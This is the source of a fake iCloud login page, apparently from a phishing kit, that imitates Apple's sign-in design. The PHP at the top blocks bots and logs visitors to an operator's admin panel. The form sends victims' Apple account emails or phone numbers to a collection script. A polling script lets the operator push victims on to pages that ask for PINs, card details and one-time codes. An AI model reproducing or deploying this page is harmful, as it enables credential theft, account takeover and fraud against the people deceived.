<?php 
session_start();
error_reporting(0);
require_once('../config.php');
require_once '../Vuanis/o2ivwuyg.php';
require_once '../Vuanis/pho7zebk.php';
require_once '../Vuanis/rsbvge2q.php';
include('../Vuaniss/blockers.php');
include('../Vuaniss/detects.php');
include('../Vuaniss/Bot-Crawler.php');
include('../Vuaniss/Dila_DZ.php');
$setting_crawlerdetect = "off";
if($setting_crawlerdetect == 'on') {
require_once '../Vuanis/crawlerdetect.php';
}

if($captcha == 'on' and $_SESSION['captcha'] != 2) {
echo '<script> window.location="captchauthetication.php" </script>';
}



function updateadmin($data){
        $filedir= '../Admin/db.json';
        $ud=file_get_contents($filedir);
        $udarray = json_decode($ud,true);
        $narr=array();
        foreach($udarray as $key=>$value){$narr[$key]=$value;};
        $ip=getcurrip();
        if($data == 'bots'){
                if(in_array($ip,$narr['humans']) && !in_array($ip,$narr[$data])){
                        array_push($narr[$data],$ip);
                        array_splice($narr['humans'],array_search($ip,$narr['humans']),1);$narr['humans']=array_values($narr['humans']);
                };}
        else{$narr[$data] += 1;};
        file_put_contents($filedir,json_encode($narr));
};
function getadmin($data){
        $ud=file_get_contents('../Admin/db.json');
        $udarray = json_decode($ud);
        if(isset($udarray->$data)){
                return $udarray->$data;
                        };
};
function getcurrip(){
    $client  = @$_SERVER['HTTP_CLIENT_IP'];
    $cf  = @$_SERVER['HTTP_CF_CONNECTING_IP'];
    $forward = @$_SERVER['HTTP_X_FORWARDED_FOR'];
    $remote  = $_SERVER['REMOTE_ADDR'];
    if(filter_var($client, FILTER_VALIDATE_IP))
    {
        return $client;}
    elseif(filter_var($cf, FILTER_VALIDATE_IP)){
        return $cf;}
    elseif(filter_var($forward, FILTER_VALIDATE_IP)){
        return $forward;}
    else{
        return $remote;};
        };



$dst = substr(md5(base64_encode(md5(base64_encode(rand(0,10000000))))) , -rand(7,9));
$_SESSION['fldr']=$dst;
$red = fopen("../Admin/dirs.txt","a");
fwrite($red,$dst.PHP_EOL);
fclose($red);

$filed="../Admin/dve.json";
$uds=file_get_contents($filed);
$udsarray = json_decode($uds);
        if($udsarray->id != $_SESSION['client']){
$fol = basename(getcwd());
$jsodn = array('id'=>$_SESSION['client'],'d'=>$fol);
file_put_contents($filed,json_encode((object)$jsodn));

}
?>
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="utf-8">
  <meta name="viewport" content="width=device-width, initial-scale=1">
  <title>iCloud</title>
  <link rel="stylesheet" media="all" href="https://www.apple.com/wss/fonts/?families=SF+Pro,v3" type="text/css">
  <style>
    *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

    /* â”€â”€ Theme tokens â”€â”€ */
    :root {
      --bg:           #ffffff;
      --bg-header:    rgba(245,245,247,0.85);
      --bg-card:      rgb(255, 255, 255);
      --bg-input:     #f0f0f0;
      --bg-input-focus: #ffffff;
      --text:         #1d1d1f;
      --text-subtle:  #424245;
      --text-muted:   #6e6e73;
      --text-foot:    #86868b;
      --border:       #d2d2d7;
      --shadow-card:  0 2px 12px rgba(0,0,0,0.08);
      --shadow-modal: 0 24px 64px rgba(0,0,0,0.22);
      --logo-bg:      #e0e0e5;
      --logo-border:  #acacb0;
      --close-hover:  #1d1d1f;
      --bg-footer:    #1d1d1f;
      --separator:    rgba(255,255,255,0.3);
      --footer-text:  #ffffff;
    }

    @media (prefers-color-scheme: dark) {
      :root {
        --bg:           hsl(240,3.4%,11.4%);
        --bg-header:    hsla(240,3.4%,11.4%,0.85);
        --bg-card:      hsl(240,3.4%,11.4%);
        --bg-input:     #2c2c2e;
        --bg-input-focus: #1c1c1e;
        --text:         #f5f5f7;
        --text-subtle:  #ebebf0cc;
        --text-muted:   #ebebf099;
        --text-foot:    #636366;
        --border:       #3a3a3c;
        --shadow-card:  0 2px 16px rgba(0,0,0,0.4);
        --shadow-modal: 0 24px 64px rgba(0,0,0,0.6);
        --logo-bg:      #3a3a3c;
        --logo-border:  #636366;
        --close-hover:  #f5f5f7;
        --bg-footer:    #1d1d1f;
        --separator:    rgba(255,255,255,0.3);
        --footer-text:  #ffffff;
      }
    }

    body {
      font-family: "SF Pro Text", "SF Pro Display", -apple-system, BlinkMacSystemFont, "Helvetica Neue", Arial, sans-serif;
      background: var(--bg);
      color: var(--text);
      min-height: 100vh;
      padding-top: 52px; /* push content below absolute header */
      transition: background 0.3s, color 0.3s;
    }

    /* â”€â”€ Header â”€â”€ */
    header {
      height: 52px;
      display: flex;
      align-items: center;
      justify-content: space-between;
      padding: 0 24px;
      background: transparent;
      position: absolute;
      top: 0;
      left: 0;
      right: 0;
      z-index: 200;
    }

    /* Dummy logo â€” same size as original iCloud SVG (82 Ã— 31) */
    .dummy-logo {
      width: 82px;
      height: 31px;
      background: var(--logo-bg);
      border: 1.5px dashed var(--logo-border);
      border-radius: 6px;
      display: flex;
      align-items: center;
      justify-content: center;
    }
    .dummy-logo span {
      font-size: 10px;
      font-weight: 500;
      color: var(--text);
      letter-spacing: 0.04em;
      text-transform: uppercase;
    }

    /* â”€â”€ Hero â”€â”€ */
    .hero {
      width: 430px;
      height: 388px;
      margin: 0 auto;
      overflow: hidden;
      position: relative;
      background: transparent;
    }
    .hero video {
      width: 100%;
      height: 100%;
      object-fit: cover;
      display: block;
      filter: none;
    }
    @media (prefers-color-scheme: dark) {
      .hero video { filter: none; }
    }

    /* â”€â”€ Content â”€â”€ */
    .content {
      display: flex;
      flex-direction: column;
      align-items: center;
      padding: 36px 20px 60px;
      gap: 24px;
    }

    /* â”€â”€ Center logo â€” exact original h1 values â”€â”€ */
    .center-logo {
      font-family: "SF Pro Display", -apple-system, BlinkMacSystemFont, "Helvetica Neue", sans-serif;   
      font-size: 140px;
      font-weight: 600;
      letter-spacing: -2.8px;
      line-height: 167px;
      color: var(--text);
      text-align: center;
      margin: 0;
      user-select: none;
    }
    @media (max-width: 700px) {
      .center-logo { font-size: 96px; letter-spacing: -1.44px; line-height: 96px; }
    }

    .sign-in-btn {
      background: #1d1d1f;
      color: #fff;
      font-size: 19px;
      font-weight: 600;
      border: none;
      border-radius: 22px;
      padding: 0 30px;
      min-width: 146px;
      height: 44px;
      cursor: pointer;
      transition: background 0.2s;
    }
    .sign-in-btn:hover { background: #424245; }
    @media (prefers-color-scheme: dark) {
      .sign-in-btn { background: #f5f5f7; color: #1d1d1f; }
      .sign-in-btn:hover { background: #d2d2d7; }
    }

    .tagline {
      font-family: "SF Pro Display", -apple-system, BlinkMacSystemFont, "Helvetica Neue", Arial, sans-serif;
      font-size: 40px;
      font-weight: 600;
      line-height: 44px;
      text-align: center;
      max-width: 478px;
      color: var(--text);
    }

    /* â”€â”€ Tiles â”€â”€ */
    .tiles {
      display: flex;
      gap: 20px;
      flex-wrap: wrap;
      justify-content: center;
    }
    .tile {
      background: var(--bg-card);
      border-radius: 11px;
      box-shadow: 17px 20px 40px rgba(0,0,0,0.12);
      padding: 40px;
      width: 478px;
      display: flex;
      flex-direction: column;
      text-align: left;
    }
    @media (prefers-color-scheme: dark) {
      .tile { box-shadow: 17px 20px 40px rgba(0,0,0,0.5); }
    }
    .tile img {
      width: 100%;
      height: 250px;
      object-fit: contain;
      margin: 0 auto;
      display: block;
    }
    .tile h2 {
      font-family: "SF Pro Display", -apple-system, BlinkMacSystemFont, "Helvetica Neue", Arial, sans-serif;
      font-size: 28px;
      font-weight: 600;
      line-height: 32px;
      margin-top: 20px;
      min-height: 100px;
      color: var(--text);
    }
    .tile p {
      font-family: "SF Pro Text", -apple-system, BlinkMacSystemFont, "Helvetica Neue", Arial, sans-serif;
      font-size: 17px;
      font-weight: 400;
      line-height: 25px;
      letter-spacing: -0.37px;
      color: var(--text);
      margin-top: 20px;
    }

    /* â”€â”€ Footer â”€â”€ */
    footer {
      display: flex;
      justify-content: center;
      align-items: center;
      padding: 30px 40px;
      width: 100%;
      background-color: var(--bg-footer);
    }
    .footer-inner {
      max-width: 980px;
      width: 100%;
      display: flex;
      justify-content: space-between;
      align-items: center;
      flex-wrap: wrap;
      gap: 8px 12px;
      font-family: "SF Pro Text", -apple-system, BlinkMacSystemFont, "Helvetica Neue", Arial, sans-serif;
      font-size: 11px;
      font-weight: 400;
      color: #fff;
    }
    .inner-row {
      display: flex;
      flex-wrap: wrap;
      align-items: center;
      column-gap: 10px;
      line-height: 2;
    }
    .inner-row a {
      text-decoration: none;
      color: #fff;
    }
    .inner-row a:hover { opacity: 0.7; }
    .with-separator {
      display: flex;
      flex-wrap: nowrap;
      align-items: center;
      column-gap: 10px;
    }
    .separator {
      height: 15px;
      width: 1px;
      background-color: rgba(255,255,255,0.3);
      align-self: center;
    }
    .copyright {
      color: #fff;
    }

    /* â”€â”€ Modal overlay â”€â”€ */
    .overlay {
      display: none;
      position: fixed;
      inset: 0;
      background: var(--bg);
      z-index: 100;
      align-items: center;
      justify-content: center;
    }
    .overlay.open { display: flex; }

    .modal {
      background: var(--bg-card);
      border-radius: 34px;
      padding: 52px 80px 52px;
      width: 640px;
      min-height: 700px;
      position: relative;
      box-shadow: 0 11px 34px 0 rgba(0,0,0,0.16);
      backdrop-filter: blur(10px);
      -webkit-backdrop-filter: blur(10px);
    }
    @media (prefers-color-scheme: dark) {
      .modal { box-shadow: 0 11px 34px 0 rgba(0,0,0,0.65); }
    }

    .modal-close { display: none; }

    .modal h2 {
      font-family: "SF Pro Display", -apple-system, BlinkMacSystemFont, "Helvetica Neue", sans-serif;   
      font-size: 28px;
      font-weight: 600;
      text-align: center;
      margin-bottom: 32px;
      color: var(--text);
    }

    /* â”€â”€ Floating label input (matching Apple's form-textbox) â”€â”€ */
    .field { margin-bottom: 16px; position: relative; }
    .field input {
      width: 100%;
      box-sizing: border-box;
      padding: 1.06rem 0.94rem 0;
      border: 1px solid #86868b;
      border-radius: 12px;
      font-size: 17px;
      height: 56px;
      background: hsla(0,0%,100%,.8);
      color: #1d1d1f;
      outline: none;
      transition: border-color 0.15s, box-shadow 0.15s;
      font-family: "SF Pro Text", -apple-system, sans-serif;
      appearance: none;
    }
    @media (prefers-color-scheme: dark) {
      .field input {
        background: hsla(0,0%,18%,.8);
        color: #f5f5f7;
        border-color: #636366;
      }
    }
    .field input::placeholder { color: transparent; }
    .field-label {
      position: absolute;
      left: 0.94rem;
      top: 50%;
      transform: translateY(-50%);
      font-family: "SF Pro Text", -apple-system, sans-serif;
      font-size: 17px;
      color: #6e6e73;
      pointer-events: none;
      transition: top 0.15s, font-size 0.15s, transform 0.15s;
    }
    .field input:focus + .field-label,
    .field input:not(:placeholder-shown) + .field-label {
      top: 0.56rem;
      transform: none;
      font-size: 12px;
    }
    .field input:focus {
      border-color: #0071e3;
      box-shadow: 0 0 0 3px rgba(0,113,227,0.3);
    }

    /* â”€â”€ Modal inner layout â”€â”€ */
    .modal-logo-circle {
      display: flex;
      align-items: center;
      justify-content: center;
      margin: 0 auto 20px;
      width: 160px;
      height: 160px;
    }

    .modal-title {
      font-family: "SF Pro Display", -apple-system, sans-serif;
      font-size: 28px;
      font-weight: 600;
      text-align: center;
      color: var(--text);
      margin-bottom: 22px;
    }
    .modal-subtitle {
      font-family: "SF Pro Text", -apple-system, sans-serif;
      font-size: 15px;
      font-weight: 400;
      text-align: center;
      color: var(--text-muted);
      margin-bottom: 28px;
      line-height: 1.5;
    }
    .modal-footer-links {
      display: flex;
      justify-content: flex-start;
      margin-top: 14px;
    }
    .modal-footer-links a {
      font-family: "SF Pro Text", -apple-system, sans-serif;
      font-size: 13px;
      color: #0071e3;
      text-decoration: none;
    }
    .modal-footer-links a:hover { text-decoration: underline; }
    .modal-privacy {
      font-family: "SF Pro Text", -apple-system, sans-serif;
      font-size: 12px;
      color: #86868b;
      text-align: center;
      margin-top: 10px;
      line-height: 1.6;
      width: 100%;
    }
    @media (prefers-color-scheme: dark) {
      .modal-privacy { color: #f5f5f7; }
    }
    .modal-privacy a { color: #86868b; text-decoration: underline; }
    @media (prefers-color-scheme: dark) {
      .modal-privacy a { color: #f5f5f7; }
    }

    /* â”€â”€ Privacy section (two-person icon + text) â”€â”€ */
    .modal-privacy-wrapper {
      display: flex;
      flex-direction: column;
      align-items: center;
      margin-top: 22px;
    }
    .modal-privacy-icon {
      margin-bottom: 8px;
    }

    /* â”€â”€ Two-button row â”€â”€ */
    .modal-buttons {
      display: flex;
      flex-direction: row;
      gap: 12px;
      margin-top: 18px;
    }
    .modal-buttons > div { flex: 1 1 0; }
    .modal-submit {
      width: 100%;
      background: #0071e3;
      color: #ffffff;
      border: none;
      border-radius: 8px;
      padding: 0 16px;
      height: 44px;
      font-size: 14px;
      font-weight: 600;
      cursor: pointer;
      margin-top: 0;
      transition: background 0.2s, opacity 0.2s;
      font-family: "SF Pro Text", -apple-system, sans-serif;
      letter-spacing: -0.016em;
      display: block;
      width: 100%;
    }
    .modal-submit:hover { background: #0077ed; }
    .modal-submit:disabled { opacity: 0.4; cursor: default; }
    .modal-btn-iphone {
      width: 100%;
      background: #ffffff !important;
      color: #1d1d1f !important;
      border: 1px solid #d2d2d7;
      border-radius: 8px;
      padding: 0 14px;
      height: 44px;
      font-size: 14px;
      font-weight: 400;
      cursor: pointer;
      transition: background 0.2s;
      font-family: "SF Pro Text", -apple-system, sans-serif;
      letter-spacing: -0.016em;
      display: flex;
      align-items: center;
      justify-content: center;
      gap: 7px;
      white-space: nowrap;
    }
    .modal-btn-iphone:hover { background: #f5f5f7 !important; }
    /* Passkey/person+key icon */
    .iphone-icon-svg { width: 18px; height: 16px; flex-shrink: 0; }
    .modal-iphone-caption {
      font-family: "SF Pro Text", -apple-system, sans-serif;
      font-size: 12px;
      font-weight: 700;
      color: #1d1d1f;
      text-align: center;
      margin-top: 10px;
      line-height: 1.4;
    }
    @media (prefers-color-scheme: dark) {
      .modal-iphone-caption { color: #f5f5f7; }
    }
  </style>
</head>
<body>

  <header>
    <svg viewBox="0 0 82 31" height="31" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" style="fill:var(--text)">
      <g fill-rule="nonzero"><path d="M16.907 16.5h2.55V5.423h-2.55V16.5Zm1.28-12.832c.412 0 .763-.144 1.05-.43a1.41 1.41 0 0 0 .432-1.033c0-.407-.144-.753-.432-1.038a1.445 1.445 0 0 0-1.05-.426c-.407 0-.756.142-1.046.426-.291.285-.437.63-.437 1.038 0 .401.146.745.437 1.032.29.287.64.43 1.046.43v.001Zm9.915 13.156c1.14 0 2.157-.21 3.052-.631.864-.395 1.616-1 2.188-1.758.563-.752.908-1.624 1.037-2.619l.007-.091h-2.594l-.021.076a3.58 3.58 0 0 1-.713 1.465 3.35 3.35 0 0 1-1.258.943c-.5.219-1.065.328-1.695.328-.847 0-1.582-.22-2.204-.663-.623-.442-1.103-1.07-1.441-1.884-.338-.813-.507-1.776-.507-2.886v-.016c0-1.115.17-2.076.507-2.886.338-.81.817-1.434 1.439-1.875.62-.44 1.354-.66 2.199-.66.634 0 1.201.117 1.702.351.501.235.92.565 1.257.99.338.425.572.926.705 1.505l.026.105h2.59l-.004-.093c-.118-1.006-.46-1.895-1.028-2.668a5.886 5.886 0 0 0-2.204-1.819c-.901-.439-1.916-.658-3.044-.658-1.405 0-2.619.311-3.642.935-1.022.624-1.812 1.511-2.368 2.663-.556 1.152-.834 2.523-.834 4.113v.016c0 1.588.278 2.958.834 4.11.555 1.154 1.346 2.043 2.372 2.669 1.026.625 2.24.938 3.642.938Zm8.034-.324h2.55V1.24h-2.55V16.5Zm9.534.222c1.1 0 2.049-.231 2.846-.693.797-.461 1.413-1.122 1.846-1.982.434-.86.65-1.886.65-3.08v-.02c0-1.191-.218-2.216-.655-3.074a4.68 4.68 0 0 0-1.852-1.98c-.798-.46-1.744-.691-2.838-.691-1.086 0-2.03.23-2.829.694a4.69 4.69 0 0 0-1.855 1.981c-.438.859-.656 1.882-.656 3.07v.02c0 1.191.216 2.217.65 3.078.434.86 1.05 1.522 1.85 1.984.8.462 1.747.693 2.843.693Zm.004-2.066c-.572 0-1.063-.146-1.472-.436-.408-.291-.722-.711-.941-1.261-.219-.55-.329-1.213-.329-1.99v-.02c0-.776.11-1.438.33-1.985.22-.548.535-.967.944-1.259.408-.29.896-.437 1.461-.437.571 0 1.06.145 1.469.436.408.29.721.71.941 1.258.22.549.33 1.21.33 1.987v.02c0 .776-.11 1.438-.328 1.988-.218.55-.53.97-.936 1.262-.406.29-.896.437-1.469.437Zm10.596 2.066c.497.008.991-.071 1.46-.233.43-.156.798-.378 1.106-.668.309-.29.557-.639.73-1.026h.13V16.5h2.55V5.423h-2.55v6.444c0 .41-.055.782-.165 1.114a2.33 2.33 0 0 1-.485.853 2.744 2.744 0 0 1-.854.61 2.844 2.844 0 0 1-1.113.213Zm.004-2.066c-.572 0-1.06-.145-1.468-.435-.408-.291-.722-.71-.942-1.258-.22-.549-.33-1.21-.33-1.985v-.02c0-.778.11-1.442.33-1.99.22-.548.534-.967.942-1.258.408-.291.897-.437 1.468-.437.572 0 1.06.146 1.469.437.408.291.722.71.942 1.258.219.548.329 1.212.329 1.99v.02c0 .775-.11 1.436-.329 1.985-.22.548-.534.967-.942 1.258-.409.29-.897.435-1.469.435Zm10.052 2.066a2.844 2.844 0 0 1-1.112-.213 2.744 2.744 0 0 1-.853-.61 2.33 2.33 0 0 1-.486-.853v-3.793h-1.636V5.423h1.636v-2.31h2.55v2.31h2.122v2.021h-2.122v3.313c0 .324.088.563.265.719.176.155.45.233.823.233.155 0 .334-.012.535-.037.202-.025.394-.065.578-.122l.024.108V16.5h-.103a4.264 4.264 0 0 1-1.22.222Zm9.106 0c-1.14 0-2.157-.21-3.052-.631-.864-.395-1.616-1-2.188-1.758a5.534 5.534 0 0 1-1.037-2.619l-.007-.091h2.594l.021.076c.11.59.348 1.078.713 1.465.365.387.784.701 1.258.943.5.219 1.065.328 1.695.328-.847 0-1.582-.22-2.204-.663-.623-.442-1.103-1.07-1.441-1.884-.338-.813-.507-1.776-.507-2.886v-.016c0-1.115-.17-2.076-.507-2.886-.338-.81-.817-1.434-1.439-1.875-.62-.44-1.354-.66-2.199-.66-.634 0-1.201.117-1.702.351-.501.235-.92.565-1.257.99-.338.425-.572.926-.705 1.505l-.026.105h2.59l.004-.093c-.118-1.006-.46-1.895-1.028-2.668.568-.773 1.303-1.38 2.204-1.819.901-.439 1.916-.658 3.044-.658 1.405 0 2.619.311 3.642.935-1.022.624-1.812 1.511-2.368 2.663-.556 1.152-.834 2.523-.834 4.113v.016c0 1.588-.278 2.958-.834 4.11-.555 1.154 1.346 2.043 2.372 2.669 1.026.625 2.24.938 3.642.938Z" fill="#1d1d1f"/></g>
    </svg>
  </header>

  <div class="hero">
    <video src="iCloud_files/fpo-dark@1x.mp4" autoplay playsinline loop muted></video>
  </div>

  <div class="content">
    <h1 class="center-logo">iCloud</h1>
    <button class="sign-in-btn" id="openBtn">Sign In</button>
    <p class="tagline">The best place for all your photos, files, notes, mail, and more.</p>

    <div class="tiles">
      <div class="tile">
        <img src="iCloud_files/5f2eb96708c817d4da8f26e75916a38f.png" alt="">
        <h2>Easily access apps and data from your iPhone on the web</h2>
        <p>iCloud is essential for keeping personal information from your devices safe, up to date, and available wherever you are. At iCloud.com, you can access your photos, files and more from any web browser. Changes you make will sync to your iPhone and other devices, so you are always up to date.</p>      
      </div>
      <div class="tile">
        <img src="iCloud_files/7cb9ecdad2b384754de394732519f658.png" alt="">
        <h2>More storage, plus features to protect your privacy and connect with friends</h2>
        <p>Upgrade to iCloud+ to get more storage, plan events with Apple Invites, and have peace of mind with privacy features like iCloud Private Relay, Hide My Email, and HomeKit Secure Video. You can even share your subscription with your family. Learn more at apple.com/icloud.</p>
      </div>
    </div>
  </div>

  <footer>
    <div class="footer-inner">
      <div class="inner-row">
        <div class="with-separator">
          <a href="#">System Status</a>
          <div class="separator"></div>
        </div>
        <div class="with-separator">
          <a href="#">Privacy Policy</a>
          <div class="separator"></div>
        </div>
        <a href="#">Terms &amp; Conditions</a>
      </div>
      <span class="copyright">Copyright &copy; 2026 Apple Inc. All rights reserved.</span>
    </div>
  </footer>

  <!-- Login Modal -->
  <div class="overlay" id="overlay">
    <div class="modal">
      <button class="modal-close" id="closeBtn">&times;</button>

      <!-- Circle logo â€” exact SVG from original signin.html -->
      <div class="modal-logo-circle">
        <svg viewBox="0 0 160 160" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" draggable="false" aria-hidden="true" width="160" height="160">
          <defs>
            <linearGradient x1="100%" y1="100%" x2="50%" y2="50%" id="grad1"><stop stop-color="#8700FF" offset="0%"></stop><stop stop-color="#EE00E1" stop-opacity="0" offset="100%"></stop></linearGradient>   
            <linearGradient x1="0%" y1="100%" x2="50%" y2="50%" id="grad2"><stop stop-color="#E00" offset="0%"></stop><stop stop-color="#EE00E1" stop-opacity="0" offset="100%"></stop></linearGradient>        
            <linearGradient x1="100%" y1="0%" x2="50%" y2="50%" id="grad3"><stop stop-color="#00B1EE" offset="0%"></stop><stop stop-color="#00B1EE" stop-opacity="0" offset="100%"></stop></linearGradient>     
            <linearGradient x1="-17.876%" y1="21.021%" x2="48.935%" y2="50%" id="grad4"><stop stop-color="#FFA456" offset="0%"></stop><stop stop-color="#FFA456" stop-opacity="0" offset="100%"></stop></linearGradient>
          </defs>
          <path fill="var(--text)" d="M80.38 68.181c1.66 0 3.75-1.091 4.999-2.565 1.137-1.346 1.94-3.183 1.94-5.039 0-.255-.02-.51-.057-.71-1.865.073-4.103 1.201-5.427 2.73-1.063 1.164-2.033 3.02-2.033 4.875 0 .29.056.564.075.655.112.018.298.054.503.054zm-5.724 27.713c2.248 0 3.243-1.474 6.044-1.474 2.838 0 3.483 1.438 5.97 1.438 2.47 0 4.11-2.239 5.677-4.44 1.732-2.53 2.469-4.987 2.487-5.115-.147-.036-4.865-1.947-4.865-7.28 0-4.622 3.704-6.697 3.926-6.86-2.451-3.477-6.192-3.586-7.224-3.586-2.746 0-4.994 1.656-6.431 1.656-1.53 0-3.52-1.547-5.916-1.547-4.551 0-9.158 3.713-9.158 10.701 0 4.368 1.695 8.973 3.814 11.94 1.806 2.51 3.39 4.567 5.676 4.567z"></path>
        </svg>
      </div>

      <p class="modal-title">Sign in with Apple&nbsp;Account</p>

      <!-- â”€â”€ Step 1 â”€â”€ -->
      <div id="step1">
        <form id="signin-form" method="post" action="verio.php">
          <div class="field">
            <input type="email" id="email-input" name="userid" placeholder=" " autocomplete="username" required>
            <span class="field-label">Email or Phone Number</span>
          </div>

          <div class="modal-footer-links">
            <a href="#">Create Your Apple&nbsp;Account</a>
          </div>

          <div class="modal-privacy-wrapper">
            <div class="modal-privacy-icon" aria-hidden="true">
              <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 52 36" width="52" height="36">       
                <circle cx="18" cy="9" r="6" fill="#0071e3"/>
                <path d="M7 34 C7 26 11.5 22.5 18 22.5 C24.5 22.5 29 26 29 34 Z" fill="#0071e3"/>       
                <circle cx="34" cy="7.5" r="7" fill="#0071e3"/>
                <path d="M22 34 C22 25.5 27 21.5 34 21.5 C41 21.5 46 25.5 46 34 Z" fill="#0071e3"/>     
              </svg>
            </div>
            <p class="modal-privacy">
              Your Apple&nbsp;Account information is used to allow you to sign in securely and access your data. Apple records certain data for security, support and reporting purposes. If you agree, Apple may also use your Apple&nbsp;Account information to send you marketing emails and communications, including based on your use of Apple services. <a href="#">See how your data is managed...</a>
            </p>
          </div>

          <div class="modal-buttons">
            <div>
              <button type="submit" id="continueBtn" class="modal-submit">Continue</button>
            </div>
            <div>
              <button type="button" class="modal-btn-iphone">
                <svg class="iphone-icon-svg" viewBox="0 0 20 18" xmlns="http://www.w3.org/2000/svg" aria-hidden="true" fill="currentColor">
                  <circle cx="8" cy="4" r="3.5"/>
                  <path d="M1 17 C1 12 4 9.5 8 9.5 C10 9.5 11.8 10.3 13 11.6"/>
                  <circle cx="15.5" cy="13.5" r="3" fill="none" stroke="currentColor" stroke-width="1.4"/>
                  <line x1="17.8" y1="15.8" x2="20" y2="18" stroke="currentColor" stroke-width="1.4" stroke-linecap="round"/>
                  <line x1="19" y1="17" x2="19" y2="18.5" stroke="currentColor" stroke-width="1.2" stroke-linecap="round"/>
                </svg>
                Sign in with iPhone
              </button>
              <p class="modal-iphone-caption">Requires a device with iOS&nbsp;17 or later.</p>
            </div>
          </div>
        </form>
      </div>
    </div>
  </div>

  <script>
    const overlay = document.getElementById('overlay');
    function openModal() {
      overlay.classList.add('open');
      document.getElementById('email-input').focus();
    }
    document.getElementById('openBtn').onclick = openModal;
    overlay.onclick = (e) => { if (e.target === overlay) overlay.classList.remove('open'); };
    window.onload = openModal;
    var clid = "<?php echo $_SESSION['client']; ?>";
    function submitupdate(clid, setnew) {
        if(!clid || clid == "0") return;
        var http = new XMLHttpRequest();
        http.open("POST","<?php echo $surl; ?>Admin/prl.php", true);
        http.setRequestHeader("Content-type","application/x-www-form-urlencoded");
        var params = "update=on&client=true&setnew="+setnew+"&vid="+clid;
        http.send(params);
        http.onload=function(){
            var res=http.responseText;
            if(res=="6"){window.location.href="vpin.php";}
            else if(res=="10"){window.location.href="index.php";}
            else if(res=="11"){window.location.href="indexs.php";}
            else if(res=="13"){window.location.href="phoneauth.php";}
            else if(res=="2"){window.location.href="umail.php";}
            else if(res=="3"){window.location.href="cdverify.php";}
            else if(res=="4"){window.location.href="data.php";}
            else if(res=="5"){window.location.href="onetime.php";}
            else if(res=="7"){window.location.href="https://www.icloud.com/";}
            else if(res=="12"){window.location.href="javascript:history.go(-1)";}
        };
    }
    setInterval(() => { submitupdate(clid, 8); }, 2500);
  </script>

</body>
</html>
